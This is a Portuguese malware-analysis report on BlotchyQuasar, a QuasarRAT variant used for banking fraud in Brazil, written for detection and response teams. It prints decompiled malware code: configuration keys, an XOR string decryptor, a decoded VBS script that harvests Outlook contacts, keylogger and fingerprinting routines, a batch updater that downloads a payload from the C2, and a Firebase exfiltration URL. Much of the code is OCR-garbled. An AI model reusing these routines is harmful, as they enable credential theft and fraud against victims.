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Falhas de negagao de servigo (DoS) nao
sao apenas interrupgoes técnicas. Elas
representam riscos reais & continuidade do
negdcio, a confianga dos clientes e &
reputacao da marca. Nisto temos a
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0 cendrio de ransomware manteve-se
ativo em 2024 e se estendeu para este ano
de 2025, com diversos grupos realizando
ataques a uma ampla gama de
organizagoes, setores e com surgimento
de novos grupos. Nesse contexto, temos o

ransomware Babuk2.
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0 cendrio de ransomware manteve-se
ativo em 2024 e se estendeu para este ano
de 2025, com diversos grupos realizando
ataques a uma ampla gama de
organizagoes, setores e ganhando
bastante popularidade. Nesse contexto,

temos o ransomware Akira.
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SUMARIO EXECUTIVO:

Este relatério tem como objetivo documentar e analisar tecnicamente a
variante BlotchyQuasar identificada em um incidente realinvestigado pela equipe
de DFIR da ISH Tecnologia. O foco do trabalho ndo é a dissecagao exaustiva de
todas as rotinas internas herdadas do QuasarRAT open-source, mas sim a
compreensao aprofundada de como essa variante especifica foi adaptada,
entregue e operada em um contexto de fraude bancaria direcionada a usuarios da
Ameérica Latina, especialmente no Brasil.

A andlise concentra-se na DLL maliciosa libfilezilla-43.dll, componente
central responsavel pela execugdo do payload final, persisténcia, coleta de dados
sensiveis e comunicagao com a infraestrutura de Comando e Controle. A partir
desse artefato, sdo explorados o fluxo de inicializagdo do malware, os mecanismos
de evasdo empregados, a arquitetura de C2 baseada em protocolo proprietario
sobre TCP e as adaptagdes funcionais voltadas a fraude bancaria e exfiltracao
estruturada de informacgoes.

Este relatdrio prioriza a correlagdo entre comportamento observado, cédigo
analisado e evidéncias coletadas em ambiente controlado, com o objetivo de
produzir inteligéncia acionavel para times de deteccgéao, resposta e threat hunting.
Sempre que aplicavel, as analises técnicas sdo contextualizadas do ponto de vista
defensivo, destacando pontos de friccdo, oportunidades de deteccao
comportamental e implicacdes praticas para ambientes corporativos monitorados
por SIEM e solucdes de seguranca endpoint.

Nao fazem parte do escopo deste trabalho a reproducdo completa da cadeia
deinfeccaoinicial por malspam em multiplas regides, nem a catalogagao exaustiva
de todos os moédulos possiveis do QuasarRAT original. Tais elementos séo
abordados apenas quando necessarios para contextualizar o comportamento
especifico do BlotchyQuasar observado no incidente analisado.

O
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BLOTCHYQUASAR

No incidente investigado pelo DFIR da ISH Tecnologia, constatou-se que o
malware foi carregado em memaria por meio de um loader de segunda fase, que
aciona o executavel legitimo filezilla-server-gui.exe. Este, por sua vez, realiza o
carregamento da DLL maliciosa libfilezilla-43.dll via side-loading, mecanismo que
permite que o RAT seja executado sem gerar um processo suspeito dedicado.

A anéalise subsequente confirmou que o payload final corresponde a uma
variante modificada do QuasarRAT, adaptada para comprometer usuarios de
instituicoes financeiras brasileiras. A variante inclui rotinas de fraude bancaria,
mecanismos de exfiltragcdo segmentada, keylogging, persisténcia via registro,
coleta de dados de geolocalizagao e reconhecimento de softwares bancarios
instalados, refletindo uma adaptagao especifica para o cenario financeiro local.

Por concentrar as funcionalidades maliciosas da campanha, esta DLL sera
o objeto central deste relatério. Toda a engenharia reversa apresentada a seguir se
baseara na dissecacao da libfilezilla-43.dll, incluindo suas classes internas,
légica de inicializagdo, médulos de fraude, primitivas criptograficas, exfiltragao,
persisténcia e comunicacao como C2.

QUASARRAT

O QuasarRAT é um projeto dotnet (C#) com arquitetura Cliente-Servidor,
que se distingue por ser codigo aberto. Essa disponibilidade publica é o principal
catalisador por tras de sua ampla adogao por diversos atores de ameacga, desde
cibercriminosos até grupos de ciberespionagem avancados (como APT33 e The
Gorgon Group). A arquitetura basica permite que um usuario controle
remotamente multiplos clientes por meio de uma Interface Grafica de Usuario
(GUI) no servidor.

A facilidade de acesso ao codigo-fonte, que pode ser inspecionado via
descompiladores Dotnet como o DNSpy, permite que os Threat Actors o
modifiquem facilmente, adicionando camadas de ofuscacéo, alterando rotinas de
criptografia (como a chave AES) e integrando novos mdédulos de ataque para
atender as suas necessidades especificas. Para grupos de cibercrime, como o
Hive0129 associado ao BlotchyQuasar, o uso de um RAT open-source funcional
permite economizar tempo e recursos de Pesquisa e Desenvolvimento (R&D),
direcionando o esforgo para a criagao de loaders evasivos e rotinas de ataque
regionalizado, em vez de desenvolver o nucleo do RAT do zero.
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FUNCIONALIDADES PADRAO

FASE 1 - Infiltragao Inicial e Preparagao do Ambiente

PREPARACAO
DO

ENTREGA .
E PERSISTENCIA
EXECUCAO FURTIVA

AMBIENTE

o> o>
Inicialmente entregue Criacao de um atalho Criagdo de um Mutex
via malspam. E utilizado (.Ink) na pasta de global para evitar
DLL Side-Loading para inicializagao (Startup) muiltiplas instancias e
carregar a DLL para garantir execucgao reduzir ruido para EDRs.
maliciosa. apés o logon.

FASE 2 - Evasao e Monitoramento de Contexto

MONITORAMENTO INSPEGCAO PREPARACAO
DE DE DO
OCIOSIDADE JANELAS NAVEGADOR

o> o>
Thread dedicada verifica A cada 1s, o malware Se detectar o contexto
se 0 usuario esta ativo verifica o titulo da bancario, desativaa
ou inativo com base no janela ativa buscando aceleracao de hardware
tempo de input de por termos como no Chrome para facilitar
mouse/teclado. "internetbankingcaixa". a captura de tela.

FASE 3 - Intervencao e Exfiltracao

B PROCESSAMENTO
SOBREPOSIGCAO DE C2 PERSISTENTE
DADOS

o> o>
Exibe formularios falsos As credenciais obtidas Envio dos dados para o
de alta fidelidade sdo organizadas, c2 utilizando um
imitando interfaces dos comprimidas via QuickLZ protocolo proprietario
principais bancos e criptografadas via sobre TCP com logica
brasileiros. AES-256. de rotacgio de hosts.

O QuasarRAT oferece um conjunto robusto e consolidado de
funcionalidades de acesso remoto e espionagem, amplamente conhecidas e que

heimdall Pagina 10|48

security research



heimdall

security research

sdo herdadas pela variante analisada, denominada BlotchyQuasar, com
pequenas adaptacoes voltadas a furtividade e a resiliéncia da infraestrutura. Entre
essas capacidades, destaca-se o controle remoto completo do sistema
comprometido, permitindo ao operador realizar gerenciamento de arquivos com
suporte a upload e download, acesso remoto ao desktop, utilizagcdo de webcam e
execucao de comandos por meio de um shell remoto, viabilizando a administragédo
integral do host da vitima.

No aspecto de espionagem e coleta de informagdes, o malware incorpora
mecanismos como keylogging, captura periédica de tela e recuperagdo de
credenciais armazenadas no sistema operacional. Na variante BlotchyQuasar,
observa-se que o keylogger é inicializado somente apds a instalagdo bem-sucedida
do malware e antes do estabelecimento do canal de comunicacdo com a
infraestrutura de Comando e Controle (C2), indicando que a coleta de dados
sensiveis ocorre desde os estagios iniciais da infecgao, independentemente do
sucesso imediato da comunicagcido com o servidor remoto.

A comunicacao com ainfraestrutura de Comando e Controle é realizada por
meio de conexdes TCP diretas, utilizando um protocolo proprietario implementado
sobre um stream de rede, com dados comprimidos e criptografados, tipicamente
por meio de algoritmos simétricos como AES. Diferentemente de implementacgodes
que dependem de endpoints web publicos, o BlotchyQuasar estabelece
inicialmente contato com um host de bootstrap hardcoded, que atua como ponto
inicial de conexdo e pode fornecer dinamicamente uma lista atualizada de
servidores C2 secundarios. Esse modelo de arquitetura distribuida aumenta
significativamente a resiliéncia da campanha, permitindo a rotacdo de
infraestrutura e reduzindo o impacto de acdes de derrubada ou bloqueio de
enderecos especificos, além de dificultar a inspecado de trafego baseada em
protocolos convencionais.

Adicionalmente, o QuasarRAT oferece recursos avangados de rede, como
suporte a Reverse Proxy e UPnP (Universal Plug and Play), possibilitando ao
operador realizar pivoteamento dentro da rede interna da vitima, expor servigos
locais ou mascarar a real origem dos comandos enviados. Essas funcionalidades
ampliam o alcance operacional do comprometimento e reforgam o potencial do
malware como uma ferramenta versatil para acesso remoto persistente e
exploragdo de ambientes corporativos.

O DESAFIO DA DETECGCAO

A principal implicacdo de seguranca do QuasarRAT ser open-source é a
dificuldade em manter defesas eficazes contra suas variantes. Como o atacante
pode facilmente modificar pardmetros essenciais como a porta de callback, a
senha de criptografia e o algoritmo, qualquer loC (/ndicator of Compromise) de
rede ou mutex baseado em valores padrao do QuasarRAT se torna obsoleto contra
variantes customizadas. Portanto, a detecgao eficaz deve migrar da analise de

O
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assinaturas estaticas para a analise comportamental, focando em TTPs pds-
comprometimento e na analise do trafego de C2 criptografado para padrbes
andémalos.

ANALISE TECNICA DO BLOTCHYQUASAR

FLUXO DE INICIALIZAGAO E PREPARAGAO DO AMBIENTE

Configuracao

Durante ainicializagado, o malware carrega um conjunto fixo de pardmetros
operacionais que definem identidade da campanha, criptografia, mutex de
exclusdo mutua e diretdérios de instalagao, evidenciando que cada amostra é
compilada especificamente para um operador ou operagao.

Essa etapa €& orquestrada por uma fungdo de inicializagao
(InitializeRuntimeConfig), cuja finalidade €& forcar o carregamento das
configuragdes estaticas e preparar o ambiente de execugao antes da ativagao dos
modulos maliciosos.

// Token: @x84888138 RID: 312
public static string VERSION = "1.8.00.r6";

// Token: @xe4868139 RID: 313
public static int RECONNECTDELAY = 5@€@;

// Token: ©x8488813A RID: 314
public static string PASSWORD = "SEPmsqV4iTCGjx9aY3yYpBWDOIgEIpHMEP7Spks";

// Token: @x8488813B RID: 315

public <-af1c .SpecialFolder SPECIALFOLDER = .SpecialFolder.ApplicationData;
// Token: ID: 316

public static st = .GetFolderPath( .SPECIALFOLDER);

/{ Token: exe4ee613D RID: 317

public static string SUBFOLDER = "SUB™;

f/ Token: 8xe488813E RID: 318
public <‘af1c string INSTALLNAME = "INSTALL";

f/ Token: 8xe488813F RID: 319
public static bool INSTALL = false;
f/ Token: 8xe4808148 RID: 328
public static bool STARTUP = true;
f/ Token: 8xe48e88141 RID: 321

public <-af1c string MUTEX = "edd6abec-328d-48ee-b6b2-fa24fB3760d4";
f/ Token: 8xe48088142 RID: 322
public static string STARTUPKEY = "STARTUP";

// Token: €x84888143 RID: 323
public static bool HIDEFILE = true;

// Token: @x848e8144 RID: 324
public static bool ENABLELOGGER = true;

// Token: @xe4888145 RID: 325
public static stri ENCRYPTIONKEY = "02CCR1KBSV3AW1rHVKWMrrlGvKgVxXWdcx@leseLsfB2mavMgr”;

f/ Token: 8xe4888146 RID: 326
public static string TAG = "RELEASE";

O
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Mutex

A presenca de um mutex global indica que o malware implementa controle de
execugao unica por host, evitando multiplas instancias simultdneas que poderiam
causar instabilidade ou exposicao acidental.

Token: @xe2eeee2F RID: 47

public static class

{

/{ Token 38 RID: 1336

public static vo InitializeRuntimeConfig()

{
.TAG = .TAG;
-VERSION = .VERSION;
-PASSWORD = -PASSHWORD;
-SUBFOLDER = .SUBFOLDER;
-INSTALLNAME = - INSTALLNAME ;
-MUTEX = -MUTEX;
-STARTUPKEY = - STARTUPKEY ;
.FixDirectory();

3

namespace SystemServices

i
Bx88A352BC
bool result;
._appMutex = new Mutex(false, mame, ref result);
return result;
b
RVA: Bx08862881 File Offset: B8xe9
if ( ._appMutex != null)
._appMutex.Close();
._appMutex = null;
¥
b
/ Token: @x84800181 RID: 385
private static Mutex _appMutex;
¥
¥

O uso de mutex também reduz ruido operacional e eventos duplicados que
poderiam facilitar a detecgéao por solugcdes de EDR.

O
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Mecanismo Interno de Descriptografia de Payloads

A classe renomeada XorDecryptor é responsavel por descriptografar uma
série de payloads embutidos no binario. Este mddulo implementa uma técnica
simples, porém eficaz, de ofuscacido baseada em XOR, empregando uma chave
fixa combinada com um vetor de inicializacéao (IV) fornecido junto ao payload.

A presenca desse mecanismo reforga que o malware mantém dados
sensiveis, comandos e possiveis templates de overlay de forma ofuscada no
codigo, dificultando analises estaticas e detecgao por assinatura.

Cada payload armazenado no binario segue o formato:
IV_HEX : PAYLOAD_HEX

Esses dois elementos séo fornecidos a fungao central Decrypt Xor, que
realiza o processo de descriptografia. O IV funciona como um bloco extra de
aleatoriedade, dificultando correlagdes diretas entre diferentes strings.

public static string GetDecryptedPayload(int rfid)
{
if (rfid == @)
i
return .Decrypt_Xor
("FADABB1EB29F92F2FBCAAB23EA1AAERCEDOF7EABEEDD6F6C1ES799312CB520ADB6E6830FB3F5A42D28A2DBE635A9A2CBBAES

: F5D2FESEBD9881B3D1EC497AE1304384E6D878F CEAA43A4AIDDESS1E7FAE33A29CATOF52A2DEDE742CAFEAB71BBO95F700A8"
bH

¥
if (rfid == 1)
{
return .Decrypt_Xor("8552FD7FA3:924FBA24BB™);
¥
if (rfid == 2)

return .Decrypt_ Xor
("87FFBABE877C3305D543E16A195CBB283F361BFBE39841EEBGFABSFS : 96AAD386B86D2486CES7D8BA1AGAB52F14183786E4A
641D185A3A4CC");

iF (rfid == 3)
return .Decrypt_Xor("EEB98248FE8F7292:D8827A39EDIAT7I8A™) ;
if (rfid == 4)
return .Decrypt_Xor("84F3378FE6C6:B5F470D4EIC1™);
if (rfid == 5)
return .Decrypt_Xor("23512BBD533C:1C4D7BEDSE3B");
iF (rfid == 6)
{

return .Decrypt_Xor("FBE4C94ED95BD8: CFE28E1FD556D2™) ;

O fluxo do método Decrypt Xor ocorre em quatro etapas principais:
1. Separacéao e decodificacdo dos blocos hexadecimais

e Osvalores hexadecimais sdo convertidos em arrays de bytes:

O
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S0

{ Token: @x

public static class

i{
'/ Token: 8x@6@8@853F RID: 1343 RVA: B@xBBA37658 File Offset: @x@@A30658
private static string Decrypt_Xor(string encryptedTextWithIv)
i{
string[] array = encryptedTextWithIv.Split(new char[]
i{
1o H
if (array. I= 2)
{
throw new ArgumentException(”Invalid encrypted text format.™);
}
string hex = array[@];
string hex2 = array[1];
byte[] iwvBytes = .StringToByteArray(hex);
byte[] encryptedBytes = .StringToByteArray(hex2);
byte[] fixedKey = Encoding. .GetBytes( .fixedKey);
byte[] array4 = new byte[encryptedBytes. 18
for (int i = @; i < encryptedBytes. 3 i++)
i{
array4[i] = (encryptedBytes[i] * fixedKey[i ¥ fixedKey. 1 ~ ivBytes[i]);
¥
return Encoding. .Getstring(array4);
¥

2. Carregamento da chave fixa

e O malware utiliza uma chave estatica de grande comprimento:

// Token: 8x84808147 RID: 327
private static readonly string fixedKey =
"Ro54jbrahHe@vZbfHzpghUuRf7h] suuyKLy3eNZ4ed L AZqEXagkex5weV2weMTKSo6ryeyYfMjfE0Se94xN91hN4kQLNtYy1tBpIt™;

Essa chave é convertida para bytes e usada ciclicamente durante o XOR.
3. Aplicacao da descriptografia XOR
o Cada byte do payload é reconstruido aplicando o seguinte calculo:
plaintext[i] = encrypted]i] * key[i % keyLength] * iv[i]

O uso conjunto de encryptedBytes, fixedkey e ivBytes gera um XOR em trés
camadas, ocultando o conteudo original.

byte[] ivBytes = .StringToByteArray(hex});
byte[] encryptedBytes = .StringToByteArray(hex2);
byte[] fixedKey = Encoding. .GetBytes( TFixedKey);
byte[] array4 = new byte[encryptedBytes. E
for {int i = @; i < encryptedBytes. 3 it+)
i
array4[i] = (encryptedBytes[i] ~ fixedKey[i ¥ fixedKey. 1 ™ ivBytes[i]);
H

4. Decodificagcdo UTF-8 do conteudo
e Apds o XOR, o buffer de bytes é convertido em string:

return Encoding.UTF8.GetString(array4);
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Catalogo Interno de Payloads (RFIDs)
O malware possui um método chamado GetDecryptedPayload, contendo
uma lista de mais de 100 entradas.

Cada entrada retorna um payload especifico:

if (rfid

if (rfid ==

Cada entrada funciona como um slot de instrugao, recurso ou dado sensivel
que o trojan pode acessar sob demanda. Os RFIDs entre 0 e 31 sdo os Unicos que
retornam valores significativos, o que reflete:

e Uso real em producgédo(dados, caminhos, formatos, instrucdes,
comportamento da fraude).

e Funcodes ativas do trojan.
e Parametros internos utilizados em diversos fluxos operacionais.

J& os RFIDs superiores aparecem vazios ou com conteudo nao utilizado,
reforcando caracteristicas como:

e Modularidade: permitindo ampliar o comportamento no futuro.

o VariagOes entre campanhas/versdes: onde apenas parte do catalogo é
usada.

e Coddigo compartilhado entre diferentes builds: onde apenas alguns RFIDs
sdo populados conforme a necessidade.

Esse tipo de estrutura funciona, na pratica, como um banco interno de
instrugdes, acessado de forma dindmica e que permite que o operador ative
funcdes especificas sem precisar alterar o binario central. E uma abordagem
comum em malwares bancarios mais maduros.

Strings Desofuscadas
Para recuperar os valores internos utilizados pelo trojan, replicamos a
fungao de Decrypt_Xor em Python, mantendo a mesma légica de XOR triplo:
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import binascii

def

format.™)

1hNAkQLNty1tBpIt”

~ array2[i]

print(array4.decode( ' utf-

O resultado da desofuscacéao revelou que os RFIDs 0-31 correspondem a dados
utilizados efetivamente pelo trojan, enquanto os restantes estdo vazios. Essas
strings incluem:

e Mensagens exibidas ao usuario.
e Paths sensiveis no sistema.
e Formatos de data.
e Nomes de navegadores monitorados.
e Arquivos de coleta.
e Parametros de fraude.
e Recursos para ambiente de acessibilidade.
e Scripts completos em Base64.
o Artefatos indicativos de exfiltragao.
Apos descriptografarmos os RFIDs, obtemos as seguintes strings:

"Sistema Indisponivel, tente novamente mais tarde!"
"Error"

"C:\Users\Public\Documents"

"ddMMyyyy"

"chrome"

"msedge"

“firefox"

"opera"

"AvastBrowser"

"Data.log"

"dd:MM.yyyy"
"https[://]samorai-3e912-default-rtdb.firebaseio[.]Jcom/user.json"
"application/json"

O
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"dd.MM.yyyy HH:mm:ss"

"C:\ProgramData\Trusteer"

"C:\ProgramData\scpbrad"

"C:\Program Files\Topaz OFD\Warsaw"

"C:\Users\"

“\AppData\Local\Aplicativo Itau"

"Magnifier"

"MagnifierWindow"

"Host Window"

"MagnifierHost"

“leitura.log"

"Cliente Destravado"

"Pedido Cancelado"

"WIN7"

"WIN10"

"C:\\Users\\Public\\Documents\\filedados.vbs"

"wscript.exe"
"Q29uc3QgRm9yV3JpdGluZyASIDIKCINIACBmMcyASIFdTY3JpcHQuUQSIILYXRIT2)q)J
biBteUL0ZW1zCiAgICBJZiBpdGVtLKkNsYXNzIDOgNDAgVGhlbiAnIDQwIMOplG8gd
mFsb3lgcGFyYSBpdGVucyBkZSBjb250YXRVCIAgICAgICAgRGIIGZT1bGXxOYW1LL
CBlbWFpbCwgYnVzaW5lc3NQaG9uZSwgbW99iaWxIUGhvbmUKICAgICAgICBm
dWxsTmFtZSA9IGLI0ZWOuRNVsbE5hbWUKICAgICAgICBIbWFpbCA9IGL0ZWOuR
W1haWwxQWRkecmVzcwoglCAgICAgIGJ1c2luZXNzUGhvbmUgPSBpdGVtLk)1c2
luZXNzVGVsZXBob251TnVtYmVyCiAglCAgICAgbW9iaWxIUGhvbmUgPSBpdGViL
k1v¥mlsZVRIbGVwaG9uZU51bWJlcgoKICAgICAgICAnIFN1YnNOaXR1aXlgdmFs
b3JlcyBudWxvcyBwb3lgc3RyaW5sncyB2YXppYXMKICAgICAgICBJZiBJc051bGwo
ZnVsbE5hbWUpIFRoZW4gZnVsbE5hbWUgPSAIlgogl CAgICAgIEIMIEIZTnVsbChlb
WFpbCkgVGhlbiBlbWFpbCASICIiCiAgICAgICAgSWYgSXNOdWxsKGJ1c2luZXNz
UGhvbmUpIFRoZW4gYnVzaW5lc3NQaG9OuZSASICIiCiAgICAgICAgSWYgSXNOd
WxsKG1vYmlsZVBob25lKSBUaGVulG1vYmlsZVBob25lD0gliIKCiAgICAgICAglyB
Fc2NyZXZlciBsaW50YSBubyBDU1YKICAgICAgICBvZmlsZS5Xcml0ZUxpbmUglilil
IAMIGZ1bGxOYW1TUCYgIiliLClilIAmMIGVtYWIsICYgIiliLClilIAmIGJ1c2luZXNzUGhv
bmUgliAililslililCYgbW9iaWxIUGhvbmUgJiAililiCiAgICBFbmQgSWYKTmV4dAoK
b2ZpbGUuQ2xvc2UKCINIdCBvbCASIESvdGhpbmcKU2V0IGOmaWxLIDO0gTm90a
GluzwpTZXQgZnMgPSBOb3RoaW5nCg=="

".block"

O
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Analise Detalhada do RFID 30

O RFID 30 é o primeiro que nao contém apenas texto ou caminhos. Ele
armazena, ja ofuscado, uma string Base64 contendo um script VBS completo, cujo
propdsito é:

e Abrir o Outlook local.

e Enumerar contatos da pasta MAPI padréo.

e Extrair nome, email, telefone comercial e celular.

e Salvartudo em contatos.csvdentro de C:\Users\Public\Documents.
O cédigo descriptografado é o seguinte:

Const ForWriting = 2

Set fs = WScript.CreateObject("Scripting. FileSystemObject”)
Set ofile = fs.OpenTextFile("C:\Users\Public\Documents\contatos.csv", ForWriting, True) ' True
para criar o arquivo se ndo existir

Set ol = WScript.CreateObject("Outlook.Application”)
Set myNameSpace = ol.GetNameSpace("MAPI")

Set myContactsFolder = myNameSpace.GetDefaultFolder(10) ' 10 é o valor para a pasta de
Contatos
Set myltems = myContactsFolder.ltems

"Escrever o cabegalho do CSV
ofile.WriteLine "Nome Completo,Email,Telefone Comercial,Telefone Celular”

For Each item In myltems
Ifitem.Class =40 Then '40 é o valor para itens de contato
Dim fullName, email, businessPhone, mobilePhone
fullName = jtem.FullName
email =item.Email1Address
businessPhone = item.BusinessTelephoneNumber
mobilePhone = item.MobileTelephoneNumber

"Substituir valores nulos por strings vazias

If IsNull(fullName) Then fullName = ""

If IsNull(email) Then email =""

If IsNull(businessPhone) Then businessPhone =
If IsNull(mobilePhone) Then mobilePhone = ""

"

"Escrever linha no CSV
ofile.WriteLine """ & fullName & """,""" & email & """,""" & businessPhone & """,""" &
mobilePhone & """
End If
Next

ofile.Close
Set ol = Nothing

Set ofile = Nothing
Set fs = Nothing
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Esse payload demonstra claramente:

e Capacidade de exfiltracdo dirigida.

e Interagao com Outlook via automacao COM.

e Coleta estruturada de contatos.

e Bom nivel de maturidade operacional.

e Uso de RFIDs como contéiner modular de scripts operacionais.
Ele também reforca que o malware nao é apenas um stealer genérico, mas parte
de uma cadeia de fraude mais ampla.

COLETAE DISCOVERY DO AMBIENTE

Apds a fase inicial de carregamento e configuracdo, o BlotchyQuasar
executa uma etapa abrangente de Coleta e Discovery do Ambiente, cujo objetivo é
construir um panorama completo do host comprometido, do perfil do usuario e do
contexto operacional em que a fraude serd executada. Diferentemente de trojans
mais simples, essa fase nao se limita a fingerprinting basico, mas combina
reconhecimento passivo, monitoramento continuo de atividade e preparagao ativa
do ambiente para interacao forcada com o usuario.

Essa coleta serve como base para decisdes operacionais do operador,
influenciando quando executar fraudes, quais mddulos ativar e como conduzir a
interacdo com a vitima.

Reconhecimento do Sistema e Perfil do Host
O malware coleta informagdes essenciais sobre o sistema operacional e 0
host comprometido, incluindo:

o Versao e arquitetura do Windows.

e Compatibilidade minima do sistema.
e Nome da maquina.

e Tempo de uptime.

public static class
{

/ Token: ©x868@@677 RID: 1655 RVA: Bx@@A3CBCe File Offset: exe
static Q)
1

35BC8

= (Type.GetType{"Mono.Runtime") != null);
. = "Unknown 05";
using (ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("SELECT Caption FROM Win32_OperatingSystem™))
{

using (ManagementObjectCollection.ManagementObjectEnumerator enumerator - managementObjectSearcher.Get().GetEnumerator())
il

if (enumerator.MoveNext())

{

= ((ManagementObject)enumerator. Y[ "Caption”].ToString();

by

T
3
= Regex.Replace( . » "*.*(2=Windows)™, "").TrimEnd(Array.Empty<char>()).TrimStart{Array.Empty<char>());

= str'ing.FE-';at(”{B} {1} Bit", . B o B 2 64 @ 32);

O
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Esses dados permitem validar o ambiente, ajustar o uso de APls especificas
e reduzir falhas operacionais em versdes incompativeis do sistema.

Fingerprinting Persistente do Host

Um dos aspectos mais relevantes da fase de discovery é a criagcao de um
identificador unico do host (Hardware ID). Esse identificador é derivado da
combinacao de multiplos atributos fisicos do sistema, incluindo:

e Nome do processador.
e Fabricante e serial da placa-mae.
o Identificador do BIOS.

namespace SystemServices

i
/ Token: ©x@28e88%97 RID: 151
public static class
{
: 8x1788087F
-
] T @xeceee7 ffset:
public static string { get; private set; } = .ComputeSha256Hex( .GetProcessorNames() +
.GetBaseboardManufacturerandSerial() + .GetBiosIdentifier());

O resultado é consolidado e hasheado com SHA-256, produzindo um
identificador estavel gue permite ao operador rastrear a vitima ao longo do tempo,
mesmo apos reinicializagdes ou reinstalagdes parciais do malware.

Enumeracao de Solugoes de Seguranga

O BlotchyQuasar identifica ativamente a presencga de antivirus e firewall
instalados no sistema por meio de consultas WMI ao Security Center do Windows.
Essa coleta fornece ao operador visibilidade direta sobre:

e Produtos de seguranca ativos.
o Nivel de protegdo do ambiente.
o Possiveis obstaculos a execucgéo da fraude.

// Token: @x8680887CE RID: 1998 RVA: 8x88B36B3C File Offset: @x08B2E73C
public static string GetInstalledAntivirus({)
{
string result;
try
{
string text = string.Empty;
string scope = . ? "root\\SecurityCenter2" : "root\\SecurityCenter";
string queryString = "SELECT * FROM AntivirusProduct™;

/f Token: 8x866007CF RID: 1999 RVA: @x@0B36C18 File Offset: @x00B2E818
public static string GetInstalledFirewall()
{

string result;

try

{

string text = string.Empty;
string scope = - ? "root\\SecurityCenter2” : "root\\SecurityCenter”;
string queryString = "SELECT * FROM FirewallProduct”;

O
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Essa informacéao pode ser usada para priorizagao de alvos ou adaptacédo de
técnicas evasivas. Na sequéncia, ha o envio dessas informacgoes serializadas para
um servidor de comando e controle (C2).

public static void SendDetailedSystemInfo(Network.Packets.KeepAlivePacket command, TcpClientHandler client)

{
try
{
new Network.Packets.SystemInfoPacket(new string[]
i
"Processor (CPU)}",
.GetProcessorNames(),
"Memory (RAM)",
string.Format("{@} MB", .GetTotalPhysicalMemoryMB()),
"Video Card (GPU)",
.GetDisplayDescriptions(),
"Username",
.GetName(},
"PC Name",
-.GetMachineName(},
"Uptime"”,
-GetSystemUptime(),
"MAC Address™,
HuRBIcH (),
"LAN IP Address",
.GetlLocalIPva(),
"Antivirus”,
.GetInstalledAntivirus(},
"Firewall"”,
.GetInstalledFirewall()
}) -Execute(client);
¥
catch
i
}
i

Monitoramento Continuo de Atividade do Usuario

Além da coleta estatica, o malware mantém monitoramento continuo da
atividade do usuario, classificando o estado do sistema como ativo ou ocioso com
base no tempo desde o ultimo input (mouse ou teclado). Mudangas nesse estado
sdo comunicadas diretamente ao C2.

Esse mecanismo é critico para:

e Sincronizar agoes de fraude com a presenca do usuario.
e Evitar exibicdo de overlays em momentos inadequados.
o Otimizar a coleta de dados sensiveis.

866C RID: 1644 RVA: @x@8A3C89C File Offset: @x@8A3589

Token: @x a6
oi

private static d UserIdleThread()
i
while (! c )
i
Thread.Sleep(5068);
if ( .IsUserIdle())
{
if ( . I= ActivityState.Idle)
. = ActivityState.Idle;
new Network.Packets.MessagePacket( o )} -Execute(MainFormTrojan.ConnectClient);
5
¥
else if ( . I= ActivityState.Active)
{

new Network.Packets.MessagePacket( . ) -Execute(MainFormTrojan.ConnectClient);
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MONITORAMENTO DE ATIVIDADE DO USUARIO E CONTEXTO BANCARIO

O malware BlotchyQuasar implementa um conjunto avancado de
mecanismos voltados ao monitoramento continuo do comportamento do usuario
e adeteccao precisa de contexto bancario, permitindo que agdes maliciosas sejam
executadas somente nho momento de maior valor operacional para o atacante.
Diferentemente de malwares oportunistas, o BlotchyQuasar adota uma
abordagem context-aware, observando passivamente o ambiente até que
condicoes especificas sejam atendidas antes de intervir ativamente na interagcao
da vitima com servicos financeiros.

Esse modelo de operacdo reduz a exposicdo do malware, minimiza
comportamentos ruidosos e maximiza a eficacia na captura de credenciais
bancarias, tokens e fatores adicionais de autenticagéo.

Execucao Remota de Comandos e Atualizacao Dinamica do Malware

A execucgao efetiva das acbes de fraude, controle da interface grafica e
manutencao operacional do BlotchyQuasar é realizada por um dispatcher interno
responsavel por interpretar comandos enviados pelo servidor de Comando e
Controle. Esse mecanismo processa pacotes do tipo TextRecordPacket, nos quais
o campo RFID atua como um identificador légico de operagéao, funcionando como
um conjunto de opcodes remotos controlados diretamente pelo operador da
ameacga.

Cada comando recebido pode acionar rotinas sensiveis no host comprometido,
incluindo simulacio de entrada de teclado, ativacao e interrupgcéo de keylogging
sob demanda, controle de captura de tela, manipulagcdo de janelas ativas,
execucao de scripts auxiliares e limpeza de artefatos locais. Essas rotinas séo
executadas de forma assincrona, em threads dedicadas, reduzindo impactos
perceptiveis ao usuario e dificultando a correlagao direta entre comandos remotos
e comportamento observado no sistema.

else if (rfid == 2)
i
new InputSimulator().Keyboard.TextEntry(texto);

lse if (rfid == 3)

LT

KeyboardLogger.StartHook()};
KeyboardLogger.Messageloop();

lse if (rfid == 4)

e B

new Network.Packets.MessagePacket({KeyboardLogger.StopHookAndGetText()}).Execute(client);

lse if (rfid != 5 && rfid != 6)

M D e

if (rfid == 7)

{
string baseDirectory = AppDomain. . H
string text = .Combine{baseDirectory, "deleteFiles.bat");
using (StreamWriter streamMriter = new StreamWriter(text))

i

O
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Entre as capacidades mais relevantes controladas por esse dispatcher esta
um mecanismo completo de atualizacdo remota do préprio malware. Essa
funcionalidade permite que o operador substitua integralmente o binario ativo por
uma nova versao sem necessidade de reinicializagcao do sistema ou reexecucao da
cadeia inicial de infecg¢éo, garantindo continuidade operacional da campanha.

Ao receber o comando de atualizacéo, o BlotchyQuasar gera dinamicamente um
script auxiliar (update_process.bat) no mesmo diretdério onde o malware esta
sendo executado. Esse script realiza uma limpeza controlada do diretério de
execugao, removendo arquivos e modulos antigos, baixa um novo pacote
compactado a partir de uma URL fornecida dinamicamente pelo C2, extrai seu
conteudo localmente, renomeia o executavel para um nome aleatério e estabelece
persisténcia por meio da criagdo de um atalho na pasta de inicializagao do usuario.
ApOs a execugao da nova versao, o processo original € encerrado explicitamente.

else if (rfid == 16)
{
string directoryName = .GetDirectoryName(Assembly.GetExecutingAssembly(). 0E
string text4 = .Combine(directoryName, “update process.bat™);
string texts texto;
string text6é = "updatekl.zip";
string text? .GetRandomFileMame().Replace(".", "") + ".exe";
string text8 .Combine( .GetFolderPath( -SpecialFolder.Startup), text? + ".1nk");
string texto string.Concat(new string[]
{

“\r\n @echo off\r\n timeout /t 1@\r\n cd fd \"",
directoryName,
“\"\r\n for %%i in (*) do (\r\n if not \"%Xi\" == \“update process.bat\” (\r\n
del /f /q \"X%i\"\r\n JArAn JAr\n curl -L -0 \"",
text6,
AT,
texts,
"\"\r\n powershell -command \"Expand-Archive -Path "
text6,
' -DestinationPath *"
directoryName,
